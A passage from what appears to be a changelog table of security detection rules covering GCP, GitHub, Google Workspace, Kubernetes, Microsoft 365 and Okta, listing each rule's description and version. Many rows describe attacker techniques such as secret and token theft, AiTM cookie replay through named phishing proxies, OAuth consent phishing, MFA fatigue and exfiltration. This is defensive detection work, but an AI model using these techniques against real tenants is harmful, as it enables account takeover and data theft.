specific needs. Custom roles will not be updated automatically and could lead to privilege creep if not carefully scrutinized. | update | 108 + +|<> | Identifies the deletion of an Identity and Access Management (IAM) service account key in Google Cloud Platform (GCP). Each service account is associated with two sets of public/private RSA key pairs that are used to authenticate. If a key is deleted, the application will no longer be able to access Google Cloud resources using that key. A security best practice is to rotate your service account keys regularly. | update | 108 + +|<> | Identifies when a new key is created for a service account in Google Cloud Platform (GCP). A service account is a special type of account used by an application or a virtual machine (VM) instance, not a person. Applications use service accounts to make authorized API calls, authorized as either the service account itself, or as G Suite or Cloud Identity users through domain-wide delegation. If private keys are not tracked and managed properly, they can present a security risk. An adversary may create a new key for a service account in order to attempt to abuse the permissions assigned to that account and evade detection. | update | 108 + +|<> | Identifies when a new service account is created in Google Cloud Platform (GCP). A service account is a special type of account used by an application or a virtual machine (VM) instance, not a person. Applications use service accounts to make authorized API calls, authorized as either the service account itself, or as G Suite or Cloud Identity users through domain-wide delegation. If service accounts are not tracked and managed properly, they can present a security risk. An adversary may create a new service account to use during their operations in order to avoid using a standard user account and attempt to evade detection. | update | 108 + +|<> | Detects the deletion of a GitHub app either from a repo or an organization. | update | 208 + +|<> | Detects a high number of unique private repo clone events originating from a single personal access token within a short time period. | update | 208 + +|<> | This rule detects when a new GitHub App has been installed in your organization account. GitHub Apps extend GitHub's functionality both within and outside of GitHub. When an app is installed it is granted permissions to read or modify your repository and organization data. Only trusted apps should be installed and any newly installed apps should be investigated to verify their legitimacy. Unauthorized app installation could lower your organization's security posture and leave you exposed for future attacks. | update | 208 + +|<> | Detects a high number of repository cloning actions by a single user within a short time frame. Adversaries may clone multiple repositories to exfiltrate sensitive data. | update | 3 + +|<> | Detects when there is activity on a private GitHub repository from an unusual IP address. Adversaries may access private repositories from unfamiliar IPs to exfiltrate sensitive code or data, potentially indicating a compromise or unauthorized access. | update | 2 + +|<> | Detects a high number of closed pull requests by a single user within a short time frame. Adversaries may close multiple pull requests to disrupt development workflows or hide malicious changes. | update | 3 + +|<> | Detects a high number of failed force push attempts to protected branches by a single user within a short time frame. Adversaries may attempt multiple force pushes to overwrite commit history on protected branches, potentially leading to data loss or disruption of development workflows. | update | 3 + +|<> | Detects when the github-actions[bot] pushes code to a repository where it has not performed this behavior before in a certain time window. This may indicate a supply chain attack where malicious code running in a CI workflow attempts to modify repository contents, such as injecting backdoor workflow files. | update | 2 + +|<> | Detects when a GitHub Actions workflow attempts to create or modify workflow files in a protected branch but is blocked due to insufficient permissions. This behavior is indicative of a supply chain attack where a malicious package or compromised CI/CD pipeline attempts to inject persistent backdoor workflows into a repository. | update | 6 + +|<> | This rule detects the creation of a self-hosted Github runner from a first time seen user.name in the last 5 days. Adversaries may abuse self-hosted runners to execute workflow jobs on customer infrastructure. | update | 3 + +|<> | Detects when a new member is added to a GitHub organization as an owner. This role provides admin level privileges. Any new owner roles should be investigated to determine it's validity. Unauthorized owner roles could indicate compromise within your organization and provide unlimited access to data and settings. | update | 210 + +|<> | Detects when a new GitHub Personal Access Token (PAT) is created. Adversaries may create new PATs to maintain persistent access to a compromised account or to escalate privileges within an organization. | update | 2 + +|<> | This rule detects when a member is granted the organization owner role of a GitHub organization. This role provides admin level privileges. Any new owner role should be investigated to determine its validity. Unauthorized owner roles could indicate compromise within your organization and provide unlimited access to data and settings. | update | 210 + +|<> | Drive and Docs is a Google Workspace service that allows users to leverage Google Drive and Google Docs. Access to files is based on inherited permissions from the child organizational unit the user belongs to which is scoped by administrators. Typically if a user is removed, their files can be transferred to another user by the administrator. This service can also be abused by adversaries to transfer files to an adversary account for potential exfiltration. | update | 110 + +|<> | Detects when an external (anonymous) user has viewed, copied or downloaded an encryption key file from a Google Workspace drive. Adversaries may gain access to encryption keys stored in private drives from rogue access links that do not have an expiration. Access to encryption keys may allow adversaries to access sensitive data or authenticate on behalf of users. | update | 8 + +|<> | Google Workspace administrators may be aware of malicious applications within the Google marketplace and block these applications for user security purposes. An adversary, with administrative privileges, may remove this application from the explicit block list to allow distribution of the application amongst users. This may also indicate the unauthorized use of an application that had been previously blocked before by a user with admin privileges. | update | 110 + +|<> | Detects when a domain is added to the list of trusted Google Workspace domains. An adversary may add a trusted domain in order to collect and exfiltrate data from their target’s organization with less restrictive security controls. | update | 209 + +|<> | Google Workspace administrators whom manage Windows devices and have Windows device management enabled may also enable BitLocker drive encryption to mitigate unauthorized data access on lost or stolen computers. Adversaries with valid account access may disable BitLocker to access sensitive data on an endpoint added to Google Workspace device management. | update | 110 + +|<> | Detects the first time a third-party application logs in and authenticated with OAuth. OAuth is used to grant permissions to specific resources and services in Google Workspace. Compromised credentials or service accounts could allow an adversary to authenticate to Google Workspace as a valid user and inherit their privileges. | update | 10 + +|<> | Detects when the Google Marketplace restrictions are changed to allow any application for users in Google Workspace. Malicious APKs created by adversaries may be uploaded to the Google marketplace but not installed on devices managed within Google Workspace. Administrators should set restrictions to not allow any application from the marketplace for security reasons. Adversaries may enable any app to be installed and executed on mobile devices within a Google Workspace environment prior to distributing the malicious APK to the end user. | update | 111 + +|<> | Detects when a custom admin role is deleted. An adversary may delete a custom admin role in order to impact the permissions or capabilities of system administrators. | update | 209 + +|<> | Detects when multi-factor authentication (MFA) enforcement is disabled for Google Workspace users. An adversary may disable MFA enforcement in order to weaken an organization’s security controls. | update | 211 + +|<> | Detects an external Google Workspace user account being added to an existing group. Adversaries may add external user accounts as a means to intercept shared files or emails with that specific group. | update | 6 + +|<> | Detects when a previously suspended user's account is renewed in Google Workspace. An adversary may renew a suspended user account to maintain access to the Google Workspace organization with a valid account. | update | 7 + +|<> | Detects when a user copies a Google spreadsheet, form, document or script from an external drive. Sequence logic has been added to also detect when a user grants a custom Google application permission via OAuth shortly after. An adversary may send a phishing email to the victim with a Drive object link where "copy" is included in the URI, thus copying the object to the victim's drive. If a container-bound script exists within the object, execution will require permission access via OAuth in which the user has to accept. | update | 12 + +|<> | Detects when a Google marketplace application is added to the Google Workspace domain. An adversary may add a malicious application to an organization’s Google Workspace domain in order to maintain a presence in their target’s organization and steal data. | update | 209 + +|<> | Google Workspace admins may setup 2-step verification (2SV) to add an extra layer of security to user accounts by asking users to verify their identity when they use login credentials. Admins have the ability to enforce 2SV from the admin console as well as the methods acceptable for verification and enrollment period. 2SV requires enablement on admin accounts prior to it being enabled for users within organization units. Adversaries may disable 2SV to lower the security requirements to access a valid account. | update | 110 + +|<> | Assigning the administrative role to a user will grant them access to the Google Admin console and grant them administrator privileges which allow them to access and manage various resources and applications. An adversary may create a new administrator account for persistence or apply the admin role to an existing user to carry out further intrusion efforts. Users with super-admin privileges can bypass single-sign on if enabled in Google Workspace. | update | 210 + +|<> | Detects when a domain-wide delegation of authority is granted to a service account. Domain-wide delegation can be configured to grant third-party and internal applications to access the data of Google Workspace users. An adversary may configure domain-wide delegation to maintain access to their target’s data. | update | 210 + +|<> | Detects when a custom admin role is created in Google Workspace. An adversary may create a custom admin role in order to elevate the permissions of other user accounts and persist in their target’s environment. | update | 209 + +|<> | Detects when a Google Workspace password policy is modified. An adversary may attempt to modify a password policy in order to weaken an organization’s security controls. | update | 209 + +|<> | Detects when a custom admin role or its permissions are modified. An adversary may modify a custom admin role in order to elevate the permissions of other user accounts and persist in their target’s environment. | update | 209 + +|<> | Users in Google Workspace are typically assigned a specific organizational unit that grants them permissions to certain services and roles that are inherited from this organizational unit. Adversaries may compromise a valid account and change which organizational account the user belongs to which then could allow them to inherit permissions to applications and resources inaccessible prior to. | update | 110 + +|<> | Detects when multi-factor authentication (MFA) is disabled for a Google Workspace organization. An adversary may attempt to modify a password policy in order to weaken an organization’s security controls. | update | 209 + +|<> | Detects when secrets or configmaps are accessed, created, modified, or deleted in a Kubernetes cluster by the Azure Arc AAD proxy service account. When operations are routed through the Azure Arc Cluster Connect proxy, the Kubernetes audit log records the acting user as `system:serviceaccount:azure-arc:azure-arc-kube-aad-proxy-sa` with the actual caller identity in the `impersonatedUser` field. This pattern indicates that someone is accessing the cluster through the Azure ARM API rather than directly via kubectl against the API server. While legitimate for Arc-managed workflows, adversaries with stolen service principal credentials can abuse Arc Cluster Connect to read, exfiltrate, or modify secrets and configmaps while appearing as the Arc proxy service account in K8s audit logs. | update | 2 + +|<> | This rule detects when secrets are accessed via an unusual user agent, user name and source IP. Attackers may attempt to access secrets in a Kubernetes cluster to gain access to sensitive information after gaining access to the cluster. | update | 2 + +|<> | This rule detects potential endpoint enumeration attempts by an anonymous user. An anonymous user is a user that is not authenticated or authorized to access the Kubernetes API server. By looking for a series of failed API requests, on multiple endpoints, and a limited number of documents, this rule can detect automated permission enumeration attempts. This behavior is uncommon for regular Kubernetes clusters. | update | 3 + +|<> | This rule detects when a service account or node attempts to enumerate their own permissions via the selfsubjectaccessreview or selfsubjectrulesreview APIs via an unusual user agent. This is highly unusual behavior for non-human identities like service accounts and nodes. An adversary may have gained access to credentials/tokens and this could be an attempt to determine what privileges they have to facilitate further movement or execution within the cluster. | update | 210 + +|<> | This rule detects attempts to create, update, or patch pods by an anonymous user. An anonymous user is a user that is not authenticated or authorized to access the Kubernetes API server. Creating, updating, or patching pods is a common activity for attackers to gain access to the cluster and execute commands. | update | 2 + +|<> | This rule detects when a forbidden request is made from an unusual user agent in a Kubernetes environment. Adversary tooling may use non-standard or unexpected user agents to interact with the Kubernetes API, which can indicate an attempt to evade detection or blend in with legitimate traffic. In combination with a forbidden request, this behavior can suggest an adversary is attempting to exploit vulnerabilities or misconfigurations in the Kubernetes cluster. | update | 5 + +|<> | This rule detects unusual request responses in Kubernetes audit logs through the use of the "new_terms" rule type. In production environments, default API requests are typically made by system components or trusted users, who are expected to have a consistent user agent and allowed response annotations. By monitoring for anomalies in the username and response annotations, this rule helps identify potential unauthorized access or misconfigurations in the Kubernetes environment. | update | 5 + +|<> | This rule detects an attempt to create or modify a service as type NodePort. The NodePort service allows a user to externally expose a set of labeled pods to the internet. This creates an open port on every worker node in the cluster that has a pod for that service. When external traffic is received on that open port, it directs it to the specific pod through the service representing it. A malicious user can configure a service as type Nodeport in order to intercept traffic from other pods or nodes, bypassing firewalls and other network security measures configured for load balancers within a cluster. This creates a direct method of communication between the cluster and the outside world, which could be used for more malicious behavior and certainly widens the attack surface of your cluster. | update | 208 + +|<> | This rule detects a container deployed with one or more dangerously permissive Linux capabilities. An attacker with the ability to deploy a container with added capabilities could use this for further execution, lateral movement, or privilege escalation within a cluster. The capabilities detected in this rule have been used in container escapes to the host machine. | update | 11 + +|<> | Detects a sequence where a principal creates or modifies a Role/ClusterRole to include high-risk permissions (e.g., wildcard access or escalation verbs) and then creates or patches a workload resource (DaemonSet, Deployment, or CronJob) shortly after, which may indicate RBAC-based privilege escalation followed by payload deployment. This pattern is often used by adversaries to gain unauthorized access to sensitive resources and deploy malicious payloads. | update | 2 + +|<> | Detects the creation or modification of several sensitive workloads, such as DaemonSets, Deployments, or CronJobs, by an unusual user agent, source IP and username, which may indicate privilege escalation or unauthorized access within the cluster. | update | 2 + +|<> | Detects write operations performed by Kubernetes service accounts against RBAC resources (Roles, ClusterRoles, RoleBindings, ClusterRoleBindings). Service accounts typically do not manage RBAC directly; this activity may indicate token abuse, misconfigured permissions, or unauthorized privilege escalation. | update | 2 + +|<> | A machine learning job has detected unusually high number of process arguments in an RDP session. Executing sophisticated attacks such as lateral movement can involve the use of complex commands, obfuscation mechanisms, redirection and piping, which in turn increases the number of arguments in a command. | update | 9 + +|<> | A machine learning job has detected unusually high mean of RDP session duration. Long RDP sessions can be used to evade detection mechanisms via session persistence, and might be used to perform tasks such as lateral movement, that might require uninterrupted access to a compromised machine. | update | 9 + +|<> | A machine learning job has detected an unusually high file size shared by a remote host indicating potential lateral movement activity. One of the primary goals of attackers after gaining access to a network is to locate and exfiltrate valuable information. Instead of multiple small transfers that can raise alarms, attackers might choose to bundle data into a single large file transfer. | update | 9 + +|<> | A machine learning job has detected unusually high variance of RDP session duration. Long RDP sessions can be used to evade detection mechanisms via session persistence, and might be used to perform tasks such as lateral movement, that might require uninterrupted access to a compromised machine. | update | 9 + +|<> | An anomaly detection job has detected a remote file transfer on an unusual directory indicating a potential lateral movement activity on the host. Many Security solutions monitor well-known directories for suspicious activities, so attackers might use less common directories to bypass monitoring. | update | 9 + +|<> | An anomaly detection job has detected a remote file transfer with a rare extension, which could indicate potential lateral movement activity on the host. | update | 9 + +|<> | A machine learning job has detected a high count of destination IPs establishing an RDP connection with a single source IP. Once an attacker has gained access to one system, they might attempt to access more in the network in search of valuable assets, data, or further access points. | update | 9 + +|<> | A machine learning job has detected a high count of source IPs establishing an RDP connection with a single destination IP. Attackers might use multiple compromised systems to attack a target to ensure redundancy in case a source IP gets detected and blocked. | update | 9 + +|<> | A machine learning job has detected unusually high number of processes started in a single RDP session. Executing a large number of processes remotely on other machines can be an indicator of lateral movement activity. | update | 9 + +|<> | A machine learning job has detected an abnormal volume of remote files shared on the host indicating potential lateral movement activity. One of the primary goals of attackers after gaining access to a network is to locate and exfiltrate valuable information. Attackers might perform multiple small transfers to match normal egress activity in the network, to evade detection. | update | 9 + +|<> | A machine learning job has detected an RDP session started at an usual time or weekday. An RDP session at an unusual time could be followed by other suspicious activities, so catching this is a good first step in detecting a larger attack. | update | 9 + +|<> | Identifies when an excessive number of files are downloaded from OneDrive or SharePoint by an authorized user or application in a short period of time. This may indicate a potential data exfiltration event, especially if the downloads are performed using OAuth authentication which could suggest an OAuth phishing attack such as Device Code Authentication phishing. | update | 8 + +|<> | Identifies file downloads or access from OneDrive or SharePoint using PowerShell-based user agents. Adversaries may use native PowerShell cmdlets like Invoke-WebRequest or Invoke-RestMethod with Microsoft Graph API to exfiltrate data after compromising OAuth tokens via device code phishing or other credential theft techniques. This rule detects both direct PowerShell access and PnP PowerShell module usage for file operations. FileAccessed events are included to detect adversaries reading file content via API and saving locally, bypassing traditional download methods. Normal users access SharePoint/OneDrive via browsers or sync clients, making PowerShell-based file access inherently suspicious. | update | 3 + +|<> | Detects a burst of Microsoft 365 user account lockouts within a short 5-minute window. A high number of IdsLocked login errors across multiple user accounts may indicate brute-force attempts for the same users resulting in lockouts. | update | 8 + +|<> | Identifies sign-ins on behalf of a principal user to the Microsoft Graph or legacy Azure AD API from multiple IPs using first-party Microsoft applications from the FOCI (Family of Client IDs) group. Developer tools like Azure CLI, VSCode, and Azure PowerShell accessing these resources from multiple IPs are flagged, along with any FOCI application accessing the deprecated Windows Azure Active Directory from multiple IPs. This behavior may indicate an adversary using a phished OAuth authorization code or refresh token, as seen in attacks like ConsentFix where attackers steal localhost OAuth codes and replay them from attacker infrastructure. | update | 8 + +|<> | Identifies the deletion of an anti-phishing policy in Microsoft 365. By default, Microsoft 365 includes built-in features that help protect users from phishing attacks. Anti-phishing polices increase this protection by refining settings to better detect and prevent attacks. | update | 212 + +|<> | Identifies when a DomainKeys Identified Mail (DKIM) signing configuration is disabled in Microsoft 365. With DKIM in Microsoft 365, messages that are sent from Exchange Online will be cryptographically signed. This will allow the receiving email system to validate that the messages were generated by a server that the organization authorized and were not spoofed. | update | 212 + +|<> | Identifies when a Data Loss Prevention (DLP) policy is removed in Microsoft 365. An adversary may remove a DLP policy to evade existing DLP monitoring. | update | 213 + +|<> | Identifies when a Safe Link policy is disabled in Microsoft 365. Safe Link policies for Office applications extend phishing protection to documents that contain hyperlinks, even after they have been delivered to a user. | update | 212 + +|<> | Detects the occurrence of mailbox audit bypass associations. The mailbox audit is responsible for logging specified mailbox events (like accessing a folder or a message or permanently deleting a message). However, actions taken by some authorized accounts, such as accounts used by third-party tools or accounts used for lawful monitoring, can create a large number of mailbox audit log entries and may not be of interest to your organization. Because of this, administrators can create bypass associations, allowing certain accounts to perform their tasks without being logged. Attackers can abuse this allowlist mechanism to conceal actions taken, as the mailbox audit will log no activity done by the account. | update | 212 + +|<> | Identifies when a malware filter policy has been deleted in Microsoft 365. A malware filter policy is used to alert administrators that an internal user sent a message that contained malware. This may indicate an account or machine compromise that would need to be investigated. Deletion of a malware filter policy may be done to evade detection. | update | 212 + +|<> | Identifies when a malware filter rule has been deleted or disabled in Microsoft 365. An adversary or insider threat may want to modify a malware filter rule to evade detection. | update | 212 + +|<> | Identifies when a user creates a new inbox rule in Microsoft 365 that deletes or moves emails containing suspicious keywords. Adversaries who have compromised accounts often create inbox rules to hide alerts, security notifications, or other sensitive messages by automatically deleting them or moving them to obscure folders. Common destinations include Deleted Items, Junk Email, RSS Feeds, and RSS Subscriptions. This is a New Terms rule that triggers only when the user principal name and associated source IP address have not been observed performing this activity in the past 14 days. | update | 4 + +|<> | Identifies when a safe attachment rule is disabled in Microsoft 365. Safe attachment rules can extend malware protections to include routing all messages and attachments without a known malware signature to a special hypervisor environment. An adversary or insider threat may disable a safe attachment rule to exfiltrate data or evade defenses. | update | 212 + +|<> | Identifies when an MFA enrollment, registration, or security notification email is deleted or moved to deleted items in Microsoft 365 Exchange. Adversaries who compromise accounts and register their own MFA device often delete the notification emails to cover their tracks and prevent the legitimate user from noticing the unauthorized change. This technique is commonly observed in business email compromise (BEC) and account takeover attacks. | update | 2 + +|<> | Identifies when a SharePoint or OneDrive site sharing policy is changed to weaken security controls. The SharingPolicyChanged event fires for many routine policy modifications, but this rule targets specific high-risk transitions where sharing restrictions are relaxed. This includes enabling guest sharing, enabling anonymous link sharing, making a site public, or enabling guest user access. Adversaries who compromise administrative accounts may weaken sharing policies to exfiltrate data to external accounts or create persistent external access paths. | update | 2 + +|<> | Identifies when custom applications are allowed in Microsoft Teams. If an organization requires applications other than those available in the Teams app store, custom applications can be developed as packages and uploaded. An adversary may abuse this behavior to establish persistence in an environment. | update | 213 + +|<> | Identifies when external access is enabled in Microsoft Teams. External access lets Teams and Skype for Business users communicate with other users that are outside their organization. An adversary may enable external access or add an allowed domain to exfiltrate data or maintain persistence in an environment. | update | 213 + +|<> | Identifies a transport rule creation in Microsoft 365. As a best practice, Exchange Online mail transport rules should not be set to forward email to domains outside of your organization. An adversary may create transport rules to exfiltrate data. | update | 212 + +|<> | Identifies when a transport rule has been disabled or deleted in Microsoft 365. Mail flow rules (also known as transport rules) are used to identify and take action on messages that flow through your organization. An adversary or insider threat may modify a transport rule to exfiltrate data or evade defenses. | update | 212 + +|<> | Identifies when Microsoft Cloud App Security flags potential ransomware activity in Microsoft 365. This rule detects events where the Security Compliance Center reports a "Ransomware activity" or "Potential ransomware activity" alert, which may indicate file encryption, mass file modifications, or uploads of ransomware-infected files to cloud services such as SharePoint or OneDrive. | update | 214 + +|<> | Detects successful Microsoft 365 portal logins from rare locations. Rare locations are defined as locations that are not commonly associated with the user's account. This behavior may indicate an adversary attempting to access a Microsoft 365 account from an unusual location or behind a VPN. | update | 9 + +|<> | Identifies an Microsoft 365 illicit consent grant request on-behalf-of a registered Entra ID application. Adversaries may create and register an application in Microsoft Entra ID for the purpose of requesting user consent to access resources in Microsoft 365. This is accomplished by tricking a user into granting consent to the application, typically via a pre-made phishing URL. This establishes an OAuth grant that allows the malicious client applocation to access resources in Microsoft 365 on-behalf-of the user. | update | 7 + +|<> | Detects potentially suspicious OAuth authorization activity in Microsoft 365 where first-party Microsoft applications from the FOCI (Family of Client IDs) group request access to Microsoft Graph or legacy Azure AD resources. Developer tools like Azure CLI, Visual Studio Code, and Azure PowerShell accessing these resources are flagged, as they are commonly abused in phishing campaigns like ConsentFix. Additionally, any FOCI family application accessing the deprecated Windows Azure Active Directory resource is flagged since this API is rarely used legitimately and attackers target it for stealth. First-party apps are trusted by default in all tenants and cannot be blocked, making them ideal for OAuth phishing attacks. | update | 4 + +|<> | Identifies the first occurrence of SSO, SAML, or federated authentication errors for a user. These errors may indicate token manipulation, SAML assertion tampering, or OAuth phishing attempts. Modern adversaries often target SSO mechanisms through token theft, SAML response manipulation, or exploiting federated authentication weaknesses rather than traditional brute force attacks. | update | 214 + +|<> | Identifies when the Microsoft 365 Global Administrator or Company Administrator role is assigned to a user or service principal. The Global Administrator role has extensive privileges across Entra ID and Microsoft 365 services, making it a high-value target for adversaries seeking persistent access. Successful assignments of this role may indicate potential privilege escalation or unauthorized access attempts, especially if performed by accounts that do not typically manage high-privilege roles. | update | 214 + +|<> | Identifies when a new role is assigned to a management group in Microsoft 365. An adversary may attempt to add a role in order to maintain persistence in an environment. | update | 212 + +|<> | Identifies the assignment of rights to access content from another mailbox. An adversary may use the compromised account to send messages to other accounts in the network of the target organization while creating inbox rules, so messages can evade spam/phishing detection mechanisms. | update | 213 + +|<> | Identifies when guest access is enabled in Microsoft Teams. Guest access in Teams allows people outside the organization to access teams and channels. An adversary may enable guest access to maintain persistence in an environment. | update | 213 + +|<> | Identifies a new or modified federation domain, which can be used to create a trust between O365 and an external identity provider. | update | 213 + +|<> | Identifies when an Okta user account is locked out 3 times within a 3 hour window. An adversary may attempt a brute force or password spraying attack to obtain unauthorized access to user accounts. The default Okta authentication policy ensures that a user account is locked out after 10 failed authentication attempts. | update | 416 + +|<> | Detects when Okta user authentication events are reported for multiple users with the same device token hash behind a proxy. | update | 211 + +|<> | This rule detects when a specific Okta actor has multiple device token hashes for a single Okta session. This may indicate an authenticated session has been hijacked or is being used by multiple devices. Adversaries may hijack a session to gain unauthorized access to Okta admin console, applications, tenants, or other resources. | update | 311 + +|<> | Detects potential Adversary-in-the-Middle (AiTM) session cookie replay attacks against Okta. This rule identifies when an Okta session is used from multiple IP addresses or with suspicious non-browser user agents after initial authentication. AiTM attacks capture session cookies via phishing proxies (e.g., Evilginx, Modlishka) and replay them from attacker infrastructure, bypassing MFA. The detection correlates session start events with subsequent policy evaluations or SSO attempts that occur from different IPs or programmatic user agents. | update | 3 + +|<> | Detects when a high number of Okta user authentication events are reported for multiple users in a short time frame. Adversaries may attempt to launch a credential stuffing or password spraying attack from the same device by using a list of known usernames and passwords to gain unauthorized access to user accounts. | update | 210 + +|<> | Detects potential brute force attacks against a single Okta user account where excessive unique device token hashes are generated, indicating automated tooling that fails to persist browser cookies between attempts. | update | 211 + +|<> | Detects when an attacker abuses the Multi-Factor authentication mechanism by repeatedly issuing login requests until the user eventually accepts the Okta push notification. An adversary may attempt to bypass the Okta MFA policies configured for an organization to obtain unauthorized access. | update | 212 + +|<> | Detects when an attacker abuses the Multi-Factor authentication mechanism by repeatedly issuing login requests until the user eventually accepts the Okta push notification. An adversary may attempt to bypass the Okta MFA policies configured for an organization to obtain unauthorized access. | update | 418 + +|<> | A user has initiated a session impersonation granting them access to the environment with the permissions of the user they are impersonating. This would likely indicate Okta administrative access and should only ever occur if requested and expected. | update | 415 + +|<> | Detects attempts to deactivate an Okta network zone. Okta network zones can be configured to limit or restrict access to a network based on IP addresses or geolocations. An adversary may attempt to modify, delete, or deactivate an Okta network zone in order to remove or weaken an organization's security controls. | update | 414 + +|<> | Identifies a failed OAuth 2.0 token grant attempt for a public client app using client credentials. This event is generated when a public client app attempts to exchange a client credentials grant for an OAuth 2.0 access token, but the request is denied due to the lack of required scopes. This could indicate compromised client credentials in which an adversary is attempting to obtain an access token for unauthorized scopes. This is a [New Terms](https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule) rule where the `okta.actor.display_name` field value has not been seen in the last 14 days regarding this event. | update | 209 + +|<> | Detects attempts to deactivate an Okta policy. An adversary may attempt to deactivate an Okta policy in order to weaken an organization's security controls. For example, an adversary may attempt to deactivate an Okta multi-factor authentication (MFA) policy in order to weaken the authentication requirements for user accounts. | update | 414 + +|<> | Detects attempts to deactivate a rule within an Okta policy. An adversary may attempt to deactivate a rule within an Okta policy in order to remove or weaken an organization's security controls. | update | 415 + +|<> | Detects attempts to delete an Okta policy. An adversary may attempt to delete an Okta policy in order to weaken an organization's security controls. For example, an adversary may attempt to delete an Okta multi-factor authentication (MFA) policy in order to weaken the authentication requirements for user accounts. | update | 414 + +|<> | Detects attempts to delete a rule within an Okta policy. An adversary may attempt to delete an Okta policy rule in order to weaken an organization's security controls. | update | 414 + +|<> | Detects attempts to modify an Okta network zone. Okta network zones can be configured to limit or restrict access to a network based on IP addresses or geolocations. An adversary may attempt to modify, delete, or deactivate an Okta network zone in order to remove or weaken an organization's security controls. | update | 414 + +|<> | Detects attempts to modify an Okta policy. An adversary may attempt to modify an Okta policy in order to weaken an organization's security controls. For example, an adversary may attempt to modify an Okta multi-factor authentication (MFA) policy in order to weaken the authentication requirements for user accounts. | update | 414 + +|<> | Detects attempts to modify a rule within an Okta policy. An adversary may attempt to modify an Okta policy rule in order to weaken an organization's security controls. | update | 415 + +|<> | Identifies a high number of Okta user password reset or account unlock attempts. An adversary may attempt to obtain unauthorized access to Okta user accounts using these methods and attempt to blend in with normal activity in their target's environment and evade detection. | update | 416 + +|<> | Detects possible Denial of Service (DoS) attacks against an Okta organization. An adversary may attempt to disrupt an organization's business operations by performing a DoS attack against its Okta service. | update | 413 + +|<> | Identifies the first occurrence of an Okta user session started via a proxy. | update | 211 + +|<> | Detects when Okta FastPass prevents a user from authenticating to a phishing website. | update | 311 + +|<> | Identifies unauthorized access attempts to Okta applications. | update | 414 + +|<> | Detects sign-in events where authentication is carried out via a third-party Identity Provider (IdP) that has not been seen before. Adversaries may add an unauthorized IdP to an Okta tenant to gain persistent access. This rule uses New Terms detection to only alert when a previously unseen IdP is used for authentication, reducing noise from legitimate federated identity providers while highlighting potentially rogue IdP additions. | update | 212 + +|<> | Detects successful single sign-on (SSO) events to Okta applications from an unrecognized or "unknown" client device, as identified by the user-agent string. This activity may be indicative of exploitation of a vulnerability in Okta's Classic Engine, which could allow an attacker to bypass application-specific sign-on policies, such as device or network restrictions. The vulnerability potentially enables unauthorized access to applications using only valid, stolen credentials, without requiring additional authentication factors. | update | 208 + +|<> | Detects when an administrator role is assigned to an Okta group. An adversary may attempt to assign administrator privileges to an Okta group in order to assign additional permissions to compromised user accounts and maintain access to their target organization. | update | 413 + +|<> | Identifies when an administrator role is assigned to an Okta user or group. Adversaries may assign administrator privileges to compromised accounts to establish persistence, escalate privileges, and maintain long-term access to the environment. This detection monitors for both user-level and group-level administrator privilege grants, which can be used to bypass security controls and perform unauthorized administrative actions. | update | 414 + +|<> | Detects attempts to create an Okta API token. An adversary may create an Okta API token to maintain access to an organization's network while they work to achieve their objectives. An attacker may abuse an API token to execute techniques such as creating user accounts or disabling security rules or policies. | update | 413 + +|<> | Detects attempts to reset an Okta user's enrolled multi-factor authentication (MFA) factors. An adversary may attempt to reset the MFA factors for an Okta user's account in order to register new MFA factors and abuse the account to blend in with normal activity in the victim's environment. | update | 414 + +|<> | Detects multi-factor authentication (MFA) deactivation with no subsequent re-activation for an Okta user account. An adversary may deactivate MFA for an Okta user account in order to weaken the authentication requirements for the account. | update | 418 + +|<> | Detects the creation of a new Identity Provider (IdP) by a Super Administrator or Organization Administrator within Okta. | update | 209 + +|<> | Detects attempts to modify or delete a sign on policy for an Okta application. An adversary may attempt to modify or delete the sign on policy for an Okta application in order to remove or weaken an organization's security controls. | update | 414 + +|<> | A machine learning job has detected an increase in the execution of privileged commands by a user, suggesting potential privileged access activity. This may indicate an attempt by the user to gain unauthorized access to sensitive or restricted parts of the system. | update | 4 + +|<> | A machine learning job has identified an unusually high median command line entropy for privileged commands executed by a user, suggesting possible privileged access activity through command lines. High entropy often indicates that the commands may be obfuscated or deliberately complex, which can be a sign of suspicious or unauthorized use of privileged access. | update | 4 + +|<> | A machine learning job has detected an unusual process run for privileged commands by a user, indicating potential privileged access activity. | update | 4 + +|<> | A machine learning job has detected an unusually high number of active concurrent sessions initiated by a user, indicating potential privileged access activity. A sudden surge in concurrent active sessions by a user may indicate an attempt to abuse valid credentials for privilege escalation or maintain persistence. Adversaries might be leveraging multiple sessions to execute privileged operations, evade detection, or perform unauthorized actions across different systems. | update | 4 + +|<> | A machine learning job has identified a user performing privileged operations in Okta from an uncommon device, indicating potential privileged access activity. This could signal a compromised account, an attacker using stolen credentials, or an insider threat leveraging an unauthorized device to escalate privileges. | update | 4 + +|<> | A machine learning job has identified a user performing privileged operations in Okta from an uncommon geographical location, indicating potential privileged access activity. This could suggest a compromised account, unauthorized access, or an attacker using stolen credentials to escalate privileges. | update | 4 + +|<> | A machine learning job has identified a user performing privileged operations in Okta from an uncommon source IP, indicating potential privileged access activity. This could suggest an account compromise, misuse of administrative privileges, or an attacker leveraging a new network location to escalate privileges. | update | 4 + +|<> | A machine learning job has identified an unusual spike in Okta group application assignment change events, indicating potential privileged access activity. Threat actors might be assigning applications to groups to escalate access, maintain persistence, or facilitate lateral movement within an organization’s environment. | update | 5 + +|<> | A machine learning job has identified an unusual spike in Okta group lifecycle change events, indicating potential privileged access activity. Adversaries may be altering group structures to escalate privileges, maintain persistence, or facilitate lateral movement within an organization’s identity management system. | update | 4 + +|<> | A machine learning job has identified an unusual spike in Okta group membership events, indicating potential privileged access activity. Attackers or malicious insiders might be adding accounts to privileged groups to escalate their access, potentially leading to unauthorized actions or data breaches. | update | 4 + +|<> | A machine learning job has identified an unusual spike in Okta group privilege change events, indicating potential privileged access activity. Attackers might be elevating privileges by adding themselves or compromised accounts to high-privilege groups, enabling further access or persistence. | update | 5 + +|<> | A machine learning job has identified an unusual spike in Okta user lifecycle management change events, indicating potential privileged access activity. Threat actors may manipulate user accounts to gain higher access rights or persist within the environment. | update | 5 + +|<> | A machine learning job has identified a spike in group management events for a user, indicating potential privileged access activity. The machine learning has flagged an abnormal rise in group management actions (such as adding or removing users from privileged groups), which could point to an attempt to escalate privileges or unauthorized modifications to group memberships. | update | 5 + +|<> | A machine learning job has detected a surge in special logon events for a user, indicating potential privileged access activity. A sudden spike in these events could suggest an attacker or malicious insider gaining elevated access, possibly for lateral movement or privilege escalation. | update | 4 + +|<> | A machine learning job has detected an unusual increase in special privilege usage events, such as privileged operations and service calls, for a user, suggesting potential unauthorized privileged access. A sudden spike in these events may indicate an 